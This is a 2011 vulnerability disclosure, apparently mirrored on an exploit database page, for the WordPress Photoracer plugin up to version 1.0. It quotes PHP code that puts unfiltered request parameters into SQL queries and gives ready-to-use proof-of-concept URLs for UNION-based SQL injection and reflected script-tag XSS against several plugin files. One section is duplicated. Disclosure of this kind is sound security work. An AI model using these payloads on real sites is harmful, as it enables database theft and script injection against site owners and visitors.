Lucene search
K

WordPress Photoracer Plugin <= 1.0 Multiple Vulnerabilities

🗓️ 28 Aug 2011 00:00:00Reported by RootType 
seebug
 seebug
🔗 www.seebug.org👁 21 Views

WordPress Photoracer Plugin <= 1.0 Multiple Vulnerabilities - XSS & SQL Injection. Tested on Wordpress 3.2 Hebrew

Code

                                                ##########################################################################
## WordPress Photoracer Plugin &lt;= 1.0 Multiple XSS &amp; SQLI Vulnerabilities
## Tested on Wordpress 3.2 Hebrew, Photoracer 1.0
## Vulnerabilities:
## * XSS
## * SQL Injection
## Bug discovered by Pr0T3cT10n, &lt;[email protected]&gt;
## Date: 26/08/2011
## Software Link: http://wordpress.org/extend/plugins/photoracer/
## ISRAEL
##########################################################################
##          Author will be not responsible for any damage.
##########################################################################
 
## Vulnerable Code - mostvoted.php [15-22]:
15.if (isset($_REQUEST['pid']) || isset($_REQUEST['prid']))
16.     $postid = $_REQUEST['pid'] ? $_REQUEST['pid'] : $_REQUEST['prid'];
17.if (isset($_REQUEST['p']))
18.     $p = $_REQUEST['p'];
19.if ($postid == 0) exit;
20.$q1 = &quot;SELECT raceid, active_from, active_to, indexpath, name, headcontent, numphoto FROM &quot;.
21.     $wpdb-&gt;prefix.&quot;photoracer_admin where postid=$postid&quot;;
22.$out = $wpdb-&gt;get_row($q1);
 
## NOTE:
## As you can see there is no validation or any filter to variable $postid ($_REQUEST['pid'] and $_REQUEST['prid']).
## See line 16. so you can inject sql query by using $postid;
## SQL Injection PoC:
http://www.example.com/wp-content/plugins/photoracer/mostvoted.php?pid=-1+UNION+SELECT+1,2,3,4,VERSION(),6,7
http://www.example.com/wp-content/plugins/photoracer/mostvoted.php?prid=-1+UNION+SELECT+1,2,3,4,VERSION(),6,7
####################################################################################################################################################
 
## Vulnerable Code - mostviewed.php [15-22]:
15.if (isset($_REQUEST['pid']) || isset($_REQUEST['prid']))
16.     $postid = $_REQUEST['pid'] ? $_REQUEST['pid'] : $_REQUEST['prid'];
17.if (isset($_REQUEST['p']))
18.     $p = $_REQUEST['p'];
19.if ($postid == 0) exit;
20.$q1 = &quot;SELECT raceid, active_from, active_to, indexpath, name, headcontent, numphoto FROM &quot;.
21.     $wpdb-&gt;prefix.&quot;photoracer_admin where postid=$postid&quot;;
22.$out = $wpdb-&gt;get_row($q1);
 
## NOTE:
## As you can see there is no validation or any filter to variable $postid ($_REQUEST['pid'] and $_REQUEST['prid']).
## See line 16. so you can inject sql query by using $postid;
## SQL Injection PoC:
http://www.example.com/wp-content/plugins/photoracer/mostviewed.php?pid=-1+UNION+SELECT+1,2,3,4,VERSION(),6,7
http://www.example.com/wp-content/plugins/photoracer/mostviewed.php?prid=-1+UNION+SELECT+1,2,3,4,VERSION(),6,7
####################################################################################################################################################
 
## Vulnerable Code - crono.php [15-22]:
15.if (isset($_REQUEST['pid']) || isset($_REQUEST['prid']))
16.     $postid = $_REQUEST['pid'] ? $_REQUEST['pid'] : $_REQUEST['prid'];
17.if (isset($_REQUEST['p']))
18.     $p = $_REQUEST['p'];
19.if ($postid == 0) exit;
20.$q1 = &quot;SELECT raceid, active_from, active_to, indexpath, name, headcontent, numphoto FROM &quot;.
21.     $wpdb-&gt;prefix.&quot;photoracer_admin where postid=$postid&quot;;
22.$out = $wpdb-&gt;get_row($q1);
 
## NOTE:
## As you can see there is no validation or any filter to variable $postid ($_REQUEST['pid'] and $_REQUEST['prid']).
## See line 16. so you can inject sql query by using $postid;
## SQL Injection PoC:
http://www.example.com/wp-content/plugins/photoracer/crono.php?pid=-1+UNION+SELECT+1,2,3,4,VERSION(),6,7
http://www.example.com/wp-content/plugins/photoracer/crono.php?prid=-1+UNION+SELECT+1,2,3,4,VERSION(),6,7
####################################################################################################################################################
 
## Vulnerable Code - changefrom.php [31, 47-49]:
31.if (isset($_REQUEST['rid'])) $rid = $_REQUEST['rid'];
...........
47.$prq=&quot;SELECT raceid, postid, active_from, active_to, indexpath, name, numphoto FROM &quot;.$wpdb-&gt;prefix.&quot;photoracer_admin WHERE raceid=$rid&quot;;
48.//echo $pr_qlist.&quot;&lt;br&gt;\n&quot;;
49.$out = $wpdb-&gt;get_row($prq);
 
## NOTE:
## As you can see there is no validation or any filter to variable $rid ($_REQUEST['rid']).
## See line 31. so you can inject sql query by using $postid;
## SQL Injection PoC:
http://www.example.com/wp-content/plugins/photoracer/changefrom.php?rid=-1+UNION+SELECT+1,2,3,4,VERSION(),6,7
####################################################################################################################################################
 
## Vulnerable Code - changefrom.php [31, 47-49]:
31.if (isset($_REQUEST['rid'])) $rid = $_REQUEST['rid'];
...........
47.$prq=&quot;SELECT raceid, postid, active_from, active_to, indexpath, name, numphoto FROM &quot;.$wpdb-&gt;prefix.&quot;photoracer_admin WHERE raceid=$rid&quot;;
48.//echo $pr_qlist.&quot;&lt;br&gt;\n&quot;;
49.$out = $wpdb-&gt;get_row($prq);
 
## NOTE:
## As you can see there is no validation or any filter to variable $rid ($_REQUEST['rid']).
## See line 31. so you can inject sql query by using $postid;
## SQL Injection PoC:
http://www.example.com/wp-content/plugins/photoracer/changeto.php?rid=-1+UNION+SELECT+1,2,3,4,VERSION(),6,7
####################################################################################################################################################
 
 
## XSS PoC:
http://www.example.com/wp-content/plugins/photoracer/changefrom.php?rid=&quot;&gt;&lt;script&gt;alert(1);&lt;/script&gt;
http://www.example.com/wp-content/plugins/photoracer/changeto.php?rid=&quot;&gt;&lt;script&gt;alert(1);&lt;/script&gt;
                              

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

28 Aug 2011 00:00Current
7.1High risk
Vulners AI Score7.1
21